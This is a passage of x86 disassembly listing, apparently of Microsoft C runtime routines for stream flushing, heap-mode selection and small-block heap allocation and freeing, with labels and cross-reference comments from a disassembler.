lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41DB0C
push edi
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DAEB
cmp edi, 1
jz short loc_41DAB9
cmp edi, 2
jnz short loc_41DACF
loc_41DAB9: ; CODE XREF: sub_41DA72+40j
push 2
call sub_4238A2
push 1
mov ebp, eax
call sub_4238A2
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41DAEB
loc_41DACF: ; CODE XREF: sub_41DA72+45j
push edi
call sub_4238A2
pop ecx
push eax
call near ptr 26408F3h
nop
test eax, eax
jnz short loc_41DAEB
call near ptr 2660A00h
nop
mov ebp, eax
jmp short loc_41DAED
; ---------------------------------------------------------------------------
loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj
; sub_41DA72+5Bj ...
xor ebp, ebp
loc_41DAED: ; CODE XREF: sub_41DA72+77j
push edi
call sub_423828
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41DB08
push ebp
call sub_4203DF
pop ecx
jmp short loc_41DB1D
; ---------------------------------------------------------------------------
loc_41DB08: ; CODE XREF: sub_41DA72+8Bj
xor eax, eax
jmp short loc_41DB20
; ---------------------------------------------------------------------------
loc_41DB0C: ; CODE XREF: sub_41DA72+Ej
; sub_41DA72+2Fj
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_41DB1D: ; CODE XREF: sub_41DA72+94j
or eax, 0FFFFFFFFh
loc_41DB20: ; CODE XREF: sub_41DA72+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DA72 endp
; =============== S U B R O U T I N E =======================================
sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB4E
test al, 8
jz short loc_41DB4E
push dword ptr [esi+8]
call sub_41B0B1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41DB4E: ; CODE XREF: sub_41DB25+Aj
; sub_41DB25+Ej
pop esi
retn
sub_41DB25 endp
; =============== S U B R O U T I N E =======================================
sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp
; sub_41DBF0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41DB62
push esi
call sub_41DBF0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB62: ; CODE XREF: sub_41DB50+7j
push esi
call sub_41DB8B
test eax, eax
pop ecx
jz short loc_41DB72
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB72: ; CODE XREF: sub_41DB50+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41DB87
push dword ptr [esi+10h]
call sub_4238DF
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41DB50+26j
xor eax, eax
pop esi
retn
sub_41DB50 endp
; =============== S U B R O U T I N E =======================================
sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap
; ___:0041D223p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41DBD8
test ax, 108h
jz short loc_41DBD8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41DBD8
push edi
push eax
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, edi
jnz short loc_41DBD1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41DBD8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41DBD8
; ---------------------------------------------------------------------------
loc_41DBD1: ; CODE XREF: sub_41DB8B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41DBD8: ; CODE XREF: sub_41DB8B+14j
; sub_41DB8B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DB8B endp
; =============== S U B R O U T I N E =======================================
sub_41DBE7 proc near ; CODE XREF: sub_4239DBp
push 1
call sub_41DBF0
pop ecx
retn
sub_41DBE7 endp
; =============== S U B R O U T I N E =======================================
sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap
; sub_41DBE7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DC5A0, esi
jle short loc_41DC4E
loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj
mov eax, dword_4DB598
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41DC45
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41DC45
cmp [esp+0Ch+arg_0], 1
jnz short loc_41DC2B
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC45
inc ebx
jmp short loc_41DC45
; ---------------------------------------------------------------------------
loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41DC45
test cl, 2
jz short loc_41DC45
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41DC45
or edi, eax
loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj
; sub_41DBF0+23j ...
inc esi
cmp esi, dword_4DC5A0
jl short loc_41DC01
loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41DC59
mov eax, edi
loc_41DC59: ; CODE XREF: sub_41DBF0+65j
pop edi
pop esi
pop ebx
retn
sub_41DBF0 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
nop
call near ptr 2670000h
cmp word ptr [eax], 5A4Dh
jnz short loc_41DC88
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DC88
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DC88: ; CODE XREF: sub_41DC5D+15j
; sub_41DC5D+1Cj
pop esi
retn
sub_41DC5D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41BB20
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 26B0618h
test eax, eax
jz short loc_41DCCD
cmp dword ptr [ebp-88h], 2
jnz short loc_41DCCD
cmp dword ptr [ebp-94h], 5
jb short loc_41DCCD
push 1
pop eax
jmp loc_41DDCF
; ---------------------------------------------------------------------------
loc_41DCCD: ; CODE XREF: ___:0041DCB1j
; ___:0041DCBAj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
nop
call near ptr 2860000h
test eax, eax
jz loc_41DDBC
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41DD0F
loc_41DCFC: ; CODE XREF: ___:0041DD0Dj
mov al, [ecx]
cmp al, 61h
jl short loc_41DD0A
cmp al, 7Ah
jg short loc_41DD0A
sub al, 20h
mov [ecx], al
loc_41DD0A: ; CODE XREF: ___:0041DD00j
; ___:0041DD04j
inc ecx
cmp [ecx], bl
jnz short loc_41DCFC
loc_41DD0F: ; CODE XREF: ___:0041DCFAj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41BE70
add esp, 0Ch
test eax, eax
jnz short loc_41DD31
lea eax, [ebp-122Ch]
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD31: ; CODE XREF: ___:0041DD27j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 2650000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41DD65
loc_41DD52: ; CODE XREF: ___:0041DD63j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD60
cmp al, 7Ah
jg short loc_41DD60
sub al, 20h
mov [ecx], al
loc_41DD60: ; CODE XREF: ___:0041DD56j
; ___:0041DD5Aj
inc ecx
cmp [ecx], bl
jnz short loc_41DD52
loc_41DD65: ; CODE XREF: ___:0041DD50j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41B900
pop ecx
pop ecx
loc_41DD7A: ; CODE XREF: ___:0041DD2Fj
cmp eax, ebx
jz short loc_41DDBC
push 2Ch
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DDBC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DDA1
loc_41DD93: ; CODE XREF: ___:0041DD9Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41DD9C
mov [ecx], bl
jmp short loc_41DD9D
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: ___:0041DD96j
inc ecx
loc_41DD9D: ; CODE XREF: ___:0041DD9Aj
cmp [ecx], bl
jnz short loc_41DD93
loc_41DDA1: ; CODE XREF: ___:0041DD91j
push 0Ah
push ebx
push eax
call sub_41BBA6
add esp, 0Ch
cmp eax, 2
jz short loc_41DDCF
cmp eax, 3
jz short loc_41DDCF
cmp eax, 1
jz short loc_41DDCF
loc_41DDBC: ; CODE XREF: ___:0041DCE6j
; ___:0041DD7Cj ...
lea eax, [ebp-4]
push eax
call sub_41DC5D
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DDCF: ; CODE XREF: ___:0041DCC8j
; ___:0041DDB0j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2452218h
dd 0A3C08590h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h
dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
dd 244303Ch, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h
dd 21BEE890h, 0C0850236h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p
; sub_41B202+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DC8F8
lea ecx, [eax+eax*4]
mov eax, dword_4DC8FC
lea ecx, [eax+ecx*4]
loc_41DE87: ; CODE XREF: sub_41DE77+26j
cmp eax, ecx
jnb short loc_41DE9F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41DEA1
add eax, 14h
jmp short loc_41DE87
; ---------------------------------------------------------------------------
loc_41DE9F: ; CODE XREF: sub_41DE77+12j
xor eax, eax
locret_41DEA1: ; CODE XREF: sub_41DE77+21j
retn
sub_41DE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p
; sub_41B202+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E1C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41DF78
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF06
push 3Fh
pop edx
loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41DF5A
cmp edx, 20h
jnb short loc_41DF31
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41DF52
; ---------------------------------------------------------------------------
loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41DF52: ; CODE XREF: sub_41DEA2+86j
; sub_41DEA2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41DF5D
; ---------------------------------------------------------------------------
loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj
mov ecx, [ebp+var_4]
loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41DF78: ; CODE XREF: sub_41DEA2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF86
push 3Fh
pop edx
loc_41DF86: ; CODE XREF: sub_41DEA2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E029
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41DFAB
mov ebx, esi
loc_41DFAB: ; CODE XREF: sub_41DEA2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41DFBD
mov edx, esi
loc_41DFBD: ; CODE XREF: sub_41DEA2+117j
cmp ebx, edx
jz short loc_41E024
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E00C
cmp ebx, 20h
jnb short loc_41DFED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E00C
; ---------------------------------------------------------------------------
loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E00C: ; CODE XREF: sub_41DEA2+128j
; sub_41DEA2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E024: ; CODE XREF: sub_41DEA2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E029: ; CODE XREF: sub_41DEA2+EDj
mov ebx, [ebp+arg_0]
loc_41E02C: ; CODE XREF: sub_41DEA2+185j
cmp [ebp+var_C], 0
jnz short loc_41E03A
cmp ebx, edx
jz loc_41E0BB
loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E0BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E092
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E081
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E081: ; CODE XREF: sub_41DEA2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E0BB
; ---------------------------------------------------------------------------
loc_41E092: ; CODE XREF: sub_41DEA2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E0A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E0BB: ; CODE XREF: sub_41DEA2+192j
; sub_41DEA2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E1C6
mov eax, dword_4DC8F4
test eax, eax
jz loc_41E1B8
mov ecx, dword_4DC8EC
mov esi, dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DC8EC
mov eax, dword_4DC8F4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DC8F4
mov ecx, dword_4DC8EC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DC8F4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DC8F4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E149
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DC8F4
loc_41E149: ; CODE XREF: sub_41DEA2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E1B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DC8F4
push dword ptr [eax+10h]
push 0
push dword_4DC904
nop
call near ptr 2770000h
mov eax, dword_4DC8F8
mov edx, dword_4DC8FC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DC8F4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41CC90
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DC8F8
cmp eax, dword_4DC8F4
jbe short loc_41E1AE
sub [ebp+arg_0], 14h
loc_41E1AE: ; CODE XREF: sub_41DEA2+306j
mov eax, dword_4DC8FC
mov dword_4DC8F0, eax
loc_41E1B8: ; CODE XREF: sub_41DEA2+234j
; sub_41DEA2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DC8EC, edi
mov dword_4DC8F4, eax
loc_41E1C6: ; CODE XREF: sub_41DEA2+38j
; sub_41DEA2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41DEA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1CB proc near ; CODE XREF: sub_41B202+77p
; sub_41B513+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DC8F8
mov edx, dword_4DC8FC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E20B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E21B
; ---------------------------------------------------------------------------
loc_41E20B: ; CODE XREF: sub_41E1CB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej
mov eax, dword_4DC8F0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E242
loc_41E229: ; CODE XREF: sub_41E1CB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E242
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E229
loc_41E242: ; CODE XREF: sub_41E1CB+5Cj
; sub_41E1CB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E2C0
mov ebx, edx
loc_41E249: ; CODE XREF: sub_41E1CB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E265
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E263
add ebx, 14h
jmp short loc_41E249
; ---------------------------------------------------------------------------
loc_41E263: ; CODE XREF: sub_41E1CB+91j
cmp ebx, eax
loc_41E265: ; CODE XREF: sub_41E1CB+83j
jnz short loc_41E2C0
loc_41E267: ; CODE XREF: sub_41E1CB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E27D
cmp dword ptr [ebx+8], 0
jnz short loc_41E27A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E267
; ---------------------------------------------------------------------------
loc_41E27A: ; CODE XREF: sub_41E1CB+A5j
cmp ebx, [ebp+var_4]
loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj
jnz short loc_41E2A5
mov ebx, edx
loc_41E281: ; CODE XREF: sub_41E1CB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E295
cmp dword ptr [ebx+8], 0
jnz short loc_41E293
add ebx, 14h
jmp short loc_41E281
; ---------------------------------------------------------------------------
loc_41E293: ; CODE XREF: sub_41E1CB+C1j
cmp ebx, eax
loc_41E295: ; CODE XREF: sub_41E1CB+BBj
jnz short loc_41E2A5
call sub_41E4D4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E2B9
loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj
; sub_41E1CB:loc_41E295j
push ebx
call sub_41E585
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E2C0
loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j
xor eax, eax
jmp loc_41E4CF
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj
; sub_41E1CB:loc_41E265j ...
mov dword_4DC8F0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E2E7
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E31E
loc_41E2E7: ; CODE XREF: sub_41E1CB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E31B
loc_41E304: ; CODE XREF: sub_41E1CB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E304
loc_41E31B: ; CODE XREF: sub_41E1CB+137j
mov edx, [ebp+var_4]
loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E347
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E347: ; CODE XREF: sub_41E1CB+16Dj
; sub_41E1CB+183j
test ecx, ecx
jl short loc_41E350
shl ecx, 1
inc edi
jmp short loc_41E347
; ---------------------------------------------------------------------------
loc_41E350: ; CODE XREF: sub_41E1CB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E36D
push 3Fh
pop esi
loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj
cmp esi, edi
jz loc_41E482
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E3DE
cmp edi, 20h
jge short loc_41E3AD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j
; sub_41E1CB+203j
mov ebx, [ebp+arg_0]
loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j
; sub_41E1CB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E48E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E47F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E450
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E43E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E43E: ; CODE XREF: sub_41E1CB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E47F
; ---------------------------------------------------------------------------
loc_41E450: ; CODE XREF: sub_41E1CB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E469
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E469: ; CODE XREF: sub_41E1CB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej
; sub_41E1CB+283j
mov ecx, [ebp+var_8]
loc_41E482: ; CODE XREF: sub_41E1CB+1A4j
test ecx, ecx
jz short loc_41E491
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E491
; ---------------------------------------------------------------------------
loc_41E48E: ; CODE XREF: sub_41E1CB+229j
mov ecx, [ebp+var_8]
loc_41E491: ; CODE XREF: sub_41E1CB+2B9j
; sub_41E1CB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E4C7
cmp ebx, dword_4DC8F4
jnz short loc_41E4C7
mov ecx, [ebp+var_4]
cmp ecx, dword_4DC8EC
jnz short loc_41E4C7
and dword_4DC8F4, 0
loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j
; sub_41E1CB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E1CB endp
; =============== S U B R O U T I N E =======================================
sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp
mov eax, dword_4DC8F8
mov ecx, dword_4DC8E8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41E517
